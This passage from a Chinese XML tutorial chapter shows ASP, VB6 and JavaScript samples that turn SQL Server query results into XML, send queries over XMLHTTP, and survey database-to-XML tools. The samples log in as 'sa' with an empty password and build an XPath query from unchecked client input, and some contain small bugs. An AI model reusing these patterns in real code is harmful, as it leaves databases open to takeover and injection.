<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD align=middle width="25%"><STRONG>字段名</STRONG></TD>
<TD align=middle width="25%"><STRONG>释意</STRONG></TD>
<TD align=middle width="25%"><STRONG>类型</STRONG></TD>
<TD align=middle width="25%"><STRONG>是否为空</STRONG></TD></TR>
<TR>
<TD align=middle width="25%">Name</TD>
<TD align=middle width="25%">姓名</TD>
<TD align=middle width="25%">varchar(10)</TD>
<TD align=middle width="25%">NOT NULL</TD></TR>
<TR>
<TD align=middle width="25%">ID</TD>
<TD align=middle width="25%">ID</TD>
<TD align=middle width="25%">int</TD>
<TD align=middle width="25%">NOT NULL</TD></TR>
<TR>
<TD align=middle width="25%">Company</TD>
<TD align=middle width="25%">公司</TD>
<TD align=middle width="25%">varchar(20)</TD>
<TD align=middle width="25%">NOT NULL</TD></TR>
<TR>
<TD align=middle width="25%">Email</TD>
<TD align=middle width="25%">EMAIL</TD>
<TD align=middle width="25%">varchar(20)</TD>
<TD align=middle width="25%">NOT NULL</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>假设现在数据库中已经存了如下记录：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD align=middle width="25%"><STRONG>Name</STRONG></TD>
<TD align=middle width="25%"><STRONG>ID</STRONG></TD>
<TD align=middle width="25%"><STRONG>Company</STRONG></TD>
<TD align=middle width="25%"><STRONG>Email</STRONG></TD></TR>
<TR>
<TD align=middle width="25%">张三</TD>
<TD align=middle width="25%">1</TD>
<TD align=middle width="25%">A公司</TD>
<TD align=middle width="25%">zhang@aaa.com</TD></TR>
<TR>
<TD align=middle width="25%">李四</TD>
<TD align=middle width="25%">2</TD>
<TD align=middle width="25%">B公司</TD>
<TD align=middle width="25%">li@bbb.org</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>下面开始我们的编程之旅。首先是要创建一个数据源，数据源（ODBC Source）实际上是定义数据来源，也就是说用来告诉程序数据的出处。有一点需要注意，数据源的创建要在服务器端进行，因为ASP本身就是在服务器端运行的。其实要做的很简单：打开控制面板，鼠标双击"ODBC数据源"，添加数据源，选择"SQL Server"，分别配置服务器名（CLIENTS所在服务器）、数据库名（CLIENTS）、数据源名称（此处定为clientList）、用户名（sa）、用户口令（空），数据源就配置好了。下面来编写相应的代码，代码将通过调用XML DOM动态生成XML结构，然后借助ADO访问数据库动态填充XML内容。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;% @language = "VBScript" %&gt;<BR>&lt;% Response.ContentType = "text/xml" %&gt; 
<P>&lt;?xml version="1.0" encoding="GB2312" ?&gt;<BR>&lt;%’动态构建XML文档<BR>&nbsp; set xmlDoc = Server.CreateObject(Microsoft.XMLDOM)<BR>&nbsp; set root = xmlDoc.createNode("element","联系人列表","")<BR>&nbsp; xmlDoc.appendChild(root)</P>
<P>&nbsp; ’查询数据库<BR>&nbsp; sqlStr = "select * from clientList"<BR>&nbsp; set cConn = Server.CreateObject("ADODB.Connection")<BR>&nbsp; cConn.Open "CLIENTS","sa", ""<BR>&nbsp; set rsData = cConn.Execute(sqlStr)<BR>&nbsp; rsData.MoveFirst()</P>
<P>&nbsp; while (not rsData.EOF )<BR>&nbsp;&nbsp;&nbsp; ’构建联系人子节点<BR>&nbsp;&nbsp;&nbsp; set tmpNode = xmlDoc.createNode("element","联系人","")<BR>&nbsp;&nbsp;&nbsp; xmlDoc.documentElement.appendChild(tmpNode)<BR>&nbsp;&nbsp;&nbsp; ’构建姓名、ID、公司、Email子节点<BR>&nbsp;&nbsp;&nbsp; for I = 0 to rsData.Fields.Count - 1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set childNode = xmlDoc.createNode("element",rsData.Fields(i).Name,"")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; childNode.text = rsData.Fields(i)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tmpNode.appendChild(childNode)<BR>&nbsp;&nbsp;&nbsp; next<BR>&nbsp;&nbsp; rsData.MoveNext()<BR>&nbsp; wend</P>
<P>&nbsp; Response.Write(xmlDoc.xml)<BR>%&gt;</P></TD></TR></TBODY></TABLE></CENTER></DIV>
<P>运行该ASP，将生成下面的XML文档。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;?xml version = "1.0" encoding="GB2312" standalone = "no"?&gt;<BR><BR>&lt;联系人列表&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;联系人&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;姓名&gt;张三&lt;/姓名&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;ID&gt;1&lt;/ID&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;公司&gt;A公司&lt;/公司&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;EMAIL&gt;zhang@aaa.com&lt;/EMAIL&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/联系人&gt;<BR><BR>&nbsp;&nbsp;&nbsp; &lt;联系人&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;姓名&gt;李四&lt;/姓名&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;ID&gt;2&lt;/ID&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;公司&gt;B公司&lt;/公司&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;EMAIL&gt;li@bbb.org&lt;/EMAIL&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/联系人&gt;<BR>&lt;/联系人列表&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>通过调用XML DOM动态生成XML文档似乎有些繁琐，下面再看一段代码，这段代码是根据前面所描述的DTD(Schema)规则来生成最终的XML实例文档，也即，最终文档的结构是由程序代码来控制的。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;% Response.ContentType="text/xml" %&gt;<BR>&lt;?xml version="1.0" encoding="GB2312" ?&gt;<BR>&lt;联系人列表&gt;<BR><BR>&lt;% Set cConn = Server.CreateObject("ADODB.Connection")<BR>&nbsp;&nbsp; cConn.Open "CLIENTS","sa", ""<BR>&nbsp;&nbsp; Set rsData = cConn.Execute("select * from clientList")<BR>&nbsp;&nbsp; do while not rsData.Eof<BR>%&gt;<BR>&lt;联系人&gt;<BR>&nbsp; &lt;姓名&gt;&lt;%=rsData("Name")%&gt;&lt;/姓名&gt;<BR>&nbsp; &lt;ID&gt;&lt;%=rsData("ID")%&gt;&lt;/ID&gt;<BR>&nbsp; &lt;公司&gt;&lt;%=rsData("Company")%&gt;&lt;/公司&gt;<BR>&nbsp; &lt;Email&gt;&lt;%=rsData("Email")%&gt;&lt;/Email&gt;<BR>&lt;/联系人&gt;<BR>&lt;% rsData.MoveNext<BR>&nbsp;&nbsp; Loop<BR>&nbsp;&nbsp; rsData.Close<BR>&nbsp;&nbsp; Set rsData = nothing<BR>%&gt;<BR><BR>&lt;/联系人列表&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>运行该ASP，将直接在浏览器显示XML文档，内容同前面得到的结果相同。<BR><BR>在上面的示例中，我们看到的是如何通过自定义文档结构生成XML实例文档。显然，这种方案存在一个前提，那就是，开发者必须了解文档结构，并且通过编程严格控制输出文档的格式。但细心的读者可能会产生疑问：既然数据已经存储在数据库中，又何必大费周折重新定义一遍文档结构呢？XML的自描述性何在？为了解决这个问题，微软将其ADO技术进行了扩展以提供对XML的更大支持，结果是可以根据数据库表的内在结构直接输出XML文档，文档的格式将符合默认的DTD定义。下面是一个用Visual Basic 6.0编写的实例：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">’声明连接和结果集<BR>Dim cConn As ADODB.Connection<BR>Dim rsData As ADODB.Recordset 
<P>Private Sub Form_Load()<BR>&nbsp; ’连接数据库<BR>&nbsp; Dim query As String<BR>&nbsp; Set cConn = New ADODB.Connection<BR>&nbsp; cConn.ConnectionString = "DSN=nwind;UID=sa;PWD=;"<BR>&nbsp; cConn.Open</P>
<P>&nbsp; ’执行数据库查询<BR>&nbsp; query = "Select * FROM clientList"<BR>&nbsp; Set rsData = cConn.Execute(query)</P>
<P>&nbsp; ’将数据库返回结果集保存至文件<BR>&nbsp; On Error Resume Next<BR>&nbsp;&nbsp;&nbsp; Kill ("recordset.xml")<BR>&nbsp; rsData.Save "output.xml", adPersistXML<BR>End Sub</P></TD></TR></TBODY></TABLE></CENTER></DIV>
<P>下面给出的是该程序执行后生成的XML文档--output.xml。通过分析，可以发现，它实际上是一个内嵌XML Schema的XML实例文档。该实例文档的主元素是&lt;rs:data&gt;，命名空间rs由xmlns:rs=’urn:schemas-microsoft-com:rowset’定义；数据库查询返回的每一条记录都作为&lt;rs:data&gt;的一个子元素，用&lt;z:row&gt;表示。&lt;z:row&gt;子元素实际上是空元素，信息均以属性的方式体现，属性来自于返回的数据库字段。内嵌的Schema部分&lt;s:Schema id=’RowsetSchema’&gt;定义了元素&lt;row&gt;的组织结构和规则。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;xml xmlns:s=’uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882’<BR>&nbsp;&nbsp;&nbsp;&nbsp; xmlns:dt=’uuid:C2F41010-65B3-11d1-A29F-00AA00C14882’<BR>&nbsp;&nbsp;&nbsp;&nbsp; xmlns:rs=’urn:schemas-microsoft-com:rowset’<BR>&nbsp;&nbsp;&nbsp;&nbsp; xmlns:z=’#RowsetSchema’<BR>&gt; 
<P>&lt;s:Schema id=’RowsetSchema’&gt;<BR>&nbsp; &lt;s:ElementType name=’row’ content=’eltOnly’&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;s:attribute type=’Name’/&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;s:attribute type=’ID’/&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;s:attribute type=’Company’/&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;s:attribute type=’Email’/&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;s:extends type=’rs:rowbase’/&gt;<BR>&nbsp; &lt;/s:ElementType&gt;</P>
<P>&nbsp; &lt;s:AttributeType name=’Name’ rs:number=’1’ rs:nullable=’true’ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs:write=’true’&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;s:datatype dt:type=’string’ dt:maxLength=’10’/&gt;<BR>&nbsp; &lt;/s:AttributeType&gt;</P>
<P>&nbsp; &lt;s:AttributeType name=’ID’ rs:number=’2’ rs:nullable=’true’ rs:write=’true’&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;s:datatype dt:type=’int’/&gt;<BR>&nbsp; &lt;/s:AttributeType&gt;</P>
<P>&nbsp; &lt;s:AttributeType name=’Company’ rs:number=’3’ rs:nullable=’true’ rs:write=’true’&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;s:datatype dt:type=’string’ dt:maxLength=’20’/&gt;<BR>&nbsp; &lt;/s:AttributeType&gt;</P>
<P>&nbsp; &lt;s:AttributeType name=’Email’ rs:number=’4’ rs:nullable=’true’ rs:write=’true’&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;s:datatype dt:type=’string’ dt:maxLength=’20’/&gt;<BR>&nbsp; &lt;/s:AttributeType&gt;<BR>&lt;/s:Schema&gt;</P>
<P>&lt;rs:data&gt;<BR>&nbsp; &lt;z:row Name=’张三’ ID=’1’ Company=’A公司’ Email=’zhang@aaa.com’/&gt;<BR>&nbsp; &lt;z:row Name=’李四’ ID=’2’ Company=’B公司’ Email=’li@bbb.org’/&gt;<BR>&lt;/rs:data&gt;<BR>&lt;/xml&gt;</P></TD></TR></TBODY></TABLE></CENTER></DIV>
<P>ADO提供了文档保存功能，通过它，ASP可以将数据库返回结果集保存至XML文件，这些XML文件经由XSL样式化后可以在浏览器直接显示，也可以传输至其他应用系统供再次利用。另外，值得一提的是，微软在其ADO2.5和IIS5.0中又增加了更高级的支持，即，可以将数据库返回的结果直接转换为XML在浏览器中显示，而不必先保存至文件。下面的实例片段有力地说明了这一点：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;%<BR>&nbsp; Set rsData = Server.CreateObject("ADODB.Recordset")<BR>&nbsp; Response.ContentType="text/xml" 
<P>&nbsp; rsData.Open "select * from clientList", "File Name=" &amp; Server.MapPath("ado.udl")<BR>&nbsp; rsData.Save Response, adPersistXML<BR>&nbsp; rsData.Close<BR>&nbsp; Set cConn = nothing<BR>%&gt;</P></TD></TR></TBODY></TABLE></CENTER></DIV></DIV>
<P></P>
<DIV class=pt10><B>9.3.2 HTTPXML对象技术</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>尽管XML在多数情况下可以很好地描述数据，但是开发者有时却不得不使用CGI来进行浏览器和服务器之间的数据交换。这是，问题就出现了。从信息交换的角度来讲，虽然CGI是完全能够满足要求的，但是，当CGI同XML一起使用时就会掩盖XML自身的一些优点，从而使得XML在信息交换方面的优势无处找寻。</P>
<P>不过，微软对此已有自己的解决方案，它提供了一种更加有效的方法来传输XML——XMLHTTP。XMLHTTP是微软的又一项基于XML的数据交换技术，主要用于在服务器与客户端交换XML数据。该技术源于微软在其XML DOM实现中引入的一个重要对象——XMLHttpRequest（Microsoft.XMLHTTP），它可以为客户端提供同HTTP服务器通讯的协议支持。简而言之，它允许你打开一个到服务器上的HTTP连接，然后发送和接受数据，并且利用Microsoft XML DOM对返回数据进行解析。</P>
<P>使用XMLHTTP对象通常是进行XML数据交换，但也并不局限于此，其他格式的数据也是允许的。另外，通过同XSL相结合，XMLHTTP提供了一种便捷方式发送结构化查询字串到服务器，然后将返回结果在客户端以多种方式显示。这种交换类型的标准模式是客户端发送一个XML格式的文本字符串到服务器，然后服务器将这个字符串装载入一个XML DOM对象中并进行解析，然后返回一段 HTML给客户端，或者是另外一段XML代码给客户端让客户端的浏览器自己解释。在这种方式下，对于信息的传递是非常有效的，尤其是当使用DHTML进行页面的动态显示时。</P>
<P>下面的一个例子描述了XMLHTTP的上述功能。假定我们在服务器端已有一个XML实例文档client.xml。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;?xml version = "1.0" encoding="GB2312" standalone = "no"?&gt;<BR><BR>&lt;联系人列表&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;联系人&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;姓名&gt;张三&lt;/姓名&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;ID&gt;1&lt;/ID&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;公司&gt;A公司&lt;/公司&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;EMAIL&gt;zhang@aaa.com&lt;/EMAIL&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/联系人&gt;<BR><BR>&nbsp;&nbsp;&nbsp; &lt;联系人&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;姓名&gt;李四&lt;/姓名&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;ID&gt;2&lt;/ID&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;公司&gt;B公司&lt;/公司&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;EMAIL&gt;li@bbb.org&lt;/EMAIL&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/联系人&gt;<BR>&lt;/联系人列表&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>下面的代码片段描述的是客户端发出请求界面，首先需要输入待查联系人的姓名和公司，点击"查询"按钮后，程序执行查询函数。该函数首先创建一个XMLHTTP对象——xmlHTTP，和一个XML DOM对象——client，前者用于向服务器（http://localhost/Query.asp）发送XML数据（xmlHTTP.send(template.XMLDocument)）和接收XML数据（xmlHTTP.responseXML.xml）。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;script language="JavaScript"&gt;<BR>function QueryClient(){<BR>&nbsp; var xmlHTTP = new ActiveXObject("Microsoft.XMLHTTP");<BR>&nbsp; var client = template.XMLDocument.documentElement; 
<P>&nbsp; xmlHTTP.Open("POST", "http://localhost/Query.asp", false);</P>
<P>&nbsp; client.childNodes.item(0).text = cliName.value;<BR>&nbsp; client.childNodes.item(1).text = cliCompany.value;</P>
<P>&nbsp; xmlHTTP.send(template.XMLDocument);<BR>&nbsp; alert(xmlHTTP.responseXML.xml);<BR>}<BR>&lt;/script&gt;<BR><BR>请输入待查联系人姓名:&lt;input type="text" name="cliName"&gt;<BR>请输入待查联系人公司:&lt;input type="text" name="cliCompany"&gt;<BR>&lt;input type="Button" value="查询" onclick="QueryClient()"&gt;</P></TD></TR></TBODY></TABLE></CENTER></DIV>
<P>下面的代码片段(Query.asp)描述的则是服务器端的处理流程，首先创建两个XML DOM对象，一个对应于XML文件client.xml（xmlClient.load(Server.MapPath("client.xml"))），另一个对应于是客户端传送的XML数据（queryClient.load(Request)）。然后程序根据传送的XML数据构建XSL查询参数并进行节点定位，如果匹配成功，返回客户端查询到的XML数据；否则返回"&lt;result&gt;查无此人!&lt;/result&gt;"的XML数据。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">Response.contentType = "text/xml" 
<P>set queryClient = Server.CreateObject("Microsoft.XMLDOM")<BR>set xmlClient = Server.CreateObject("Microsoft.XMLDOM")</P>
<P>queryClient.async = false<BR>queryClient.load(Request)<BR>xmlClient.async = false<BR>xmlClient.load(Server.MapPath("client.xml"))</P>
<P>set xmlRoot = xmlClient.documentElement<BR>set queryRoot = queryClient.documentElement</P>
<P>queryStr = "./联系人[姓名= " &amp; queryRoot.childNodes.item(0).text &amp; " and 公司= " &amp; queryRoot.childNode.item(1).text &amp; " ]"<BR>set resultClient = xmlRoot.selectSingleNode(queryStr)</P>
<P>if isNull(resultClient) = false<BR>&nbsp; then Response.write(resultClient.xml)<BR>&nbsp; else Response.write("&lt;result&gt;查无此人!&lt;/result&gt;")<BR>end if</P></TD></TR></TBODY></TABLE></CENTER></DIV></DIV>
<P></P>
<DIV class=pt10><B>9.3.3 DB2XML转换工具</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>DB2XML是一种将数据从关系数据库转换成XML文档的工具，它提供了一组Java类，是由100%纯Java编写的。DB2XML可以完成下面三种功能： 
<UL>
<LI>将数据库查询结果或整个数据库转换成XML文档或者HTML文档（利用XSLT）； 
<LI>提供数据的属性描述； 
<LI>支持同XSLT样式单处理器的方便集成。 </LI></UL>
<P>DB2XML可以作为一种工具通过图形界面或以命令行方式单独使用；也可以作为servlet来使用，在这种方式下，它可以动态输出XML文档；另外，DB2XML还可以以API的方式调用，这对程序员来说尤其具有吸引力。从根本上看，DB2XML是一种样式驱动的应用，其输出的XML文档实际上是一组表格，而具体内容取决于用户输入的SELECT命令语句。另外，还可以为该XML文档指定标记名称以及是否包含数据库元数据。DB2XML生成的XML文档是通过两种结构方式来表达的，一种是标准的W3C DOM对象，另一种是利用DB2XML特定的数据结构。但是，不论采用哪种方式，都能够通过数据流或单字节数组进行访问。</P>
<P>DB2XML是通过JDBC对数据库进行存取访问的，其应用开发需要JDK 1.1x以及提供JDBC驱动支持的数据库（如Oracle、Microsoft Access、Microsoft SQL Server、InstantDB、MySQL）。</P>
<P>在DB2XML的开发中，一个重要的类是JDBCXML。下面给出一个典型示例，是一个关于PermissionFrame的GUI应用：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">try {<BR>&nbsp; jx = new JDBCXML(map);<BR>&nbsp; jx.generateXML();<BR>&nbsp; XMLOutput out = new XMLOutput(DB2XML.this, map, jx.getXMLDocument());<BR>&nbsp; if (map.getBooleanProperty("applyStylesheet"))<BR>&nbsp;&nbsp;&nbsp; jx.getXSLParser(out).applyStylesheet();<BR>&nbsp; else<BR>&nbsp;&nbsp;&nbsp; out.writeToOutput();<BR>jx.closeDatabase();<BR>} catch(DB2XMLException ex) {<BR>&nbsp; DB2XML.this.handleDB2XMLException(ex);<BR>} finally {<BR>&nbsp; jx.getXMLDocument().deleteTmpFiles();<BR>} <BR>...</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>相关网址：<A href="http://www.informatik.fh-wiesbaden.de/~turau/DB2XML/index.html">http://www.informatik.fh-wiesbaden.de/~turau/DB2XML/index.html</A><BR></P></DIV>
<P></P>
<P><B>9.3.4 ODBC2XML转换工具</B></P>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>ODBC2XML是由Intelligent Systems Research开发的共享软件，它实际上是一个Windows动态库DLL，通过它，可以将数据从数据库中提取出来并转换成XML文档。该软件属于模板驱动，也就是说，将SELECT语句作为处理指令嵌入到模板中。ODBC2XML在使用时相当灵活，内嵌查询的返回结果可以直接作为元素或属性存在，甚至可以再次作为其他查询的参数，从而产生嵌套的XML文档。</P>
<P>相关网址：<A href="http://members.xoom.com/gvaughan/odbc2xml.htm">http://members.xoom.com/gvaughan/odbc2xml.htm</A></P>
<DIV class=pt10><B>9.3.5 XOSL转换工具</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>XOSL（XML OLE DB Stylesheet Language）是由Mey &amp; Westphal RIPOSTE Software 开发的。同ODBC2XML类似，它实际上也是一个Windows动态库DLL，用于将数据从数据库中提取出来并转换成XML文档，只是它运用了ADO技术。该软件属于模板驱动，它利用特定的XOSL元素将查询语句嵌入到模板中。</P>
<P>同XSL一样，XOSL也可以将用户编写的XML代码从一种表现形式转换成其他形式。所不同之处在于，XSL是将XML转换成XML或HTML，而XOSL则是将任何表格式数据转换成XML。下面给出XOSL的编程示例。</P>
<P>仍以我们所熟悉的一段XML文档为例：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;?xml version = "1.0" encoding="GB2312" standalone = "no"?&gt;<BR><BR>&lt;联系人列表&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;联系人&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;姓名&gt;张三&lt;/姓名&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;ID&gt;1&lt;/ID&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;公司&gt;A公司&lt;/公司&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;EMAIL&gt;zhang@aaa.com&lt;/EMAIL&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/联系人&gt;<BR><BR>&nbsp;&nbsp;&nbsp; &lt;联系人&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;姓名&gt;李四&lt;/姓名&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;ID&gt;2&lt;/ID&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;公司&gt;B公司&lt;/公司&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;EMAIL&gt;li@bbb.org&lt;/EMAIL&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/联系人&gt;<BR>&lt;/联系人列表&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>在前面讲述基于ADO技术的XML数据交换时，给出的ASP代码如下，该代码直接输出上述XML文档：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;% Response.ContentType="text/xml" %&gt;<BR>&lt;?xml version="1.0" encoding="GB2312" ?&gt;<BR>&lt;联系人列表&gt;<BR><BR>&lt;% Set cConn = Server.CreateObject("ADODB.Connection")<BR>&nbsp;&nbsp; cConn.Open "CLIENTS","sa", ""<BR>&nbsp;&nbsp; Set rsData = cConn.Execute("select * from clientList")<BR>&nbsp;&nbsp; do while not rsData.Eof<BR>%&gt;<BR>&lt;联系人&gt;<BR>&nbsp; &lt;姓名&gt;&lt;%=rsData("Name")%&gt;&lt;/姓名&gt;<BR>&nbsp; &lt;ID&gt;&lt;%=rsData("ID")%&gt;&lt;/ID&gt;<BR>&nbsp; &lt;公司&gt;&lt;%=rsData("Company")%&gt;&lt;/公司&gt;<BR>&nbsp; &lt;Email&gt;&lt;%=rsData("Email")%&gt;&lt;/Email&gt;<BR>&lt;/联系人&gt;<BR>&lt;% rsData.MoveNext<BR>&nbsp;&nbsp; Loop<BR>&nbsp;&nbsp; rsData.Close<BR>&nbsp;&nbsp; Set rsData = nothing<BR>%&gt;<BR><BR>&lt;/联系人列表&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>下面的代码用XOSL编写，同样可以直接输出上述XML文档。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;xosl&gt;<BR>&nbsp; &lt;联系人列表&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;command source="select * from clientList" connectionstring="CLIENTS"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;联系人&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;姓名&gt;!Name&lt;/姓名&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;ID&gt;!ID&lt;/ID&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;公司&gt;!Company&lt;/公司&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;Email&gt;!Email&lt;/Email&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/联系人&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/command&gt;<BR>&nbsp; &lt;/联系人列表&gt;<BR>&lt;/xosl&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>将该XOSL代码同前面的XML文档相比较，可以发现，二者极为相像，区别只是前者嵌入了一些指令和SQL命令，使得后面的代码相比更加直观一些。可以想象，XOSL的出现对于开发XML的数据库应用非常有效。<BR><BR>相关网址：<A href="http://www.riposte.com/xosl/">http://www.riposte.com/xosl/</A></P></DIV>
<P></P>
<P></P>
<DIV class=pt10><B>9.3.6 ASP2XML组件</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>ASP2XML是由Stonebroom开发的。它实际上是一个用来在XML文档和任意ODBC或者OLE-DB数据源之间双向传输数据的OLE COM组件。该产品是模型驱动的，并且将XML文档模型化成一个单一的表对象。当将数据从数据库传输成XML时，用户制定一个单一的SELECT声明，输出包含ASP2XML自定义的标志。当将数据从XML传输给数据库时，XML文档中必须包含ASP2XML自定义的标志，它们是该中间件处理时要用到的。这个组件可以在ASP脚本中使用，也可以当一个普通的组件使用。<BR><BR>相关网址： <A href="http://www.stonebroom.com/asp2xml.htm">http://www.stonebroom.com/asp2xml.htm</A></P></DIV>
<DIV class=pt10><B>9.3.7 InterAccess软件包</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>InterAccess是由XML Software Corporation开发的一套软件包。该软件包是一种以客户/服务器方式通过互联网访问ODBC/OLE DB数据库的软件，客户端和服务器之间以XML数据格式双向交换数据，其独特之处在于采用TCP/IP而不是通常的HTTP作为数据传输协议。InterAccess是由三个模块组成的：InterAccess服务器软件、InterAccess客户端COM动态库、InterAccess浏览器。参见下面的InterAccess体系结构图。</P>
<P align=center><IMG height=185 alt="TU000000-0902-0700-01.gif (2812 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX27.9890/www.17t8.com/xmlbook/image/TU000000-0902-0700-01.gif" width=414></P>
<P align=left>InterAccess 服务器软件运行于服务器上，专门用于处理客户端请求：从数据库中检索数据生成XML格式数据传送到客户端；或者接受客户端发送的XML格式数据并存储于数据库中。由于XML文档中的数据是以对象树的形式存在，因此很方便地即可将数据保存至数据库表中或从数据库表中检索。 </P>
<P align=left>在客户端，由一个COM对象处理与服务器的通讯。开发者可以利用内置的API接口函数开发应用程序以检索非XML格式的数据，也可以利用回调函数处理服务器方返回的XML数据。</P>
